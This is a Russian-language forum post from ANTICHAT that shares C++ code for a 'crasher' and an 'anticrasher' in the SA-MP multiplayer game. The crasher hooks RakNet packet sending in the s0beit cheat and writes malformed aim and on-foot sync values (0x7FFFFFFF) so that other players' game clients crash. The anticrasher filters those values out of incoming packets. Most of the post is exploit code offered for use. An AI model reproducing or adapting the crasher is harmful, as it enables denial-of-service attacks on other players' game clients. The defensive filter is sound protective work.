HOME FORUMS MEMBERS RECENT POSTS LOG IN  
× Авторизация
Имя пользователя:
Пароль:
Нет аккаунта? Регистрация
Баннер 1   Баннер 2
НОВЫЕ ТОРГОВАЯ НОВОСТИ ЧАТ
loading...
Скрыть
Вернуться   ANTICHAT > ПРОГРАММИРОВАНИЕ > С/С++, C#, Rust, Swift, Go, Java, Perl, Ruby
   
 
 
Опции темы Поиск в этой теме Опции просмотра

  #1  
Старый 20.07.2013, 12:12
FYP
Познавший АНТИЧАТ
Регистрация: 09.03.2013
Сообщений: 1,771
С нами: 6935121

Репутация: 233


По умолчанию

данный крашер работает только с хуком ракнета из собейта версии не ниже 4.3.3.0, но без хука можно обойтись, добавив самостоятельно отправку пакета, вместо подменны данных в пакете.

код крашера:

Код:





Код:
void CheatReplaceOnfootData ( struct stOnFootData *ofSync )
{
    if ( g.use_new_crasher )
    {
        ofSync->sKeys = 128;
        ofSync->byteCurrentWeapon = 0;
    }
}
 
void CheatReplaceAimData ( struct stAimData *aimSync )
{
if ( g.use_new_crasher )
{
    aimSync->vecAimf1[0] = (float)0x7FFFFFFF;
    aimSync->vecAimPos[0] = (float)0x7FFFFFFF;
}
}
 
// в HookedRakClient.cpp в функцию bool Send( BitStream * bitStream, PacketPriority priority, PacketReliability reliability, char orderingChannel )
if ( packetId == ID_PLAYER_SYNC )
CheatReplaceOnfootData( (stOnFootData *)( bitStream->GetData() + 1 ) );
if ( packetId == ID_AIM_SYNC )
CheatReplaceAimData( (stAimData *)( bitStream->GetData() + 1 ) );




код антикрашера:

Код:





Код:
// в samp.cpp
#define FUNC_PACKET_AIM_SYNC 0x87A0
void __stdcall HookPacketAimData( Packet *packet )
{
BitStream bs( (unsigned char *)packet->data, packet->length, false );
PLAYERID playerId;
stAimData sync;
 
bs.IgnoreBits( 8 ); // packet id
bs.Read( playerId );
bs.Read( (char *)&sync, sizeof( sync ) );
bool isUse = false;
float pos[3] = { 0, 0, 0 };
int isok = getPlayerPos( playerId, pos );
 
if ( isok && vect3_dist( pos, sync.vecAimPos ) > 500.0f )
{
vect3_mult( sync.vecAimPos, 0.0f, sync.vecAimPos );
isUse = true;
}
for ( int i = 0; i  9.9f )
{
sync.vecAimf1[i] = 0.0f;
isUse = true;
}
}
if ( isUse )
{
BitStream bs1;
bs1.Write( (byte)ID_AIM_SYNC );
bs1.Write( playerId );
bs1.Write( (char *)&sync, sizeof( sync ) );
memcpy( packet->data, bs1.GetData(), packet->length );
}
return ( ( void ( __thiscall * )( stSAMP *, Packet * ) )( g_dwSAMP_Addr + FUNC_PACKET_AIM_SYNC ) )( g_SAMP, packet );
}
#define SAMP_HOOKENTER_PACKET_AIM_DATA            0x9EB5 // куда-нибудь в samp.cpp
SetupSAMPHook("Packet_AimSync", SAMP_HOOKENTER_PACKET_AIM_DATA, HookPacketAimData, DETOUR_TYPE_CALL_FUNC, 5, ""); // в void installSAMPHooks ()


просто скопировать и вставить всё это дело, конечно, не получится, некоторые вещи придется переделать и привести в порядок.

с вами был FYP, спасибо за внимание.
 
Ответить с цитированием
 





Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT ™ © 2001- Antichat Kft.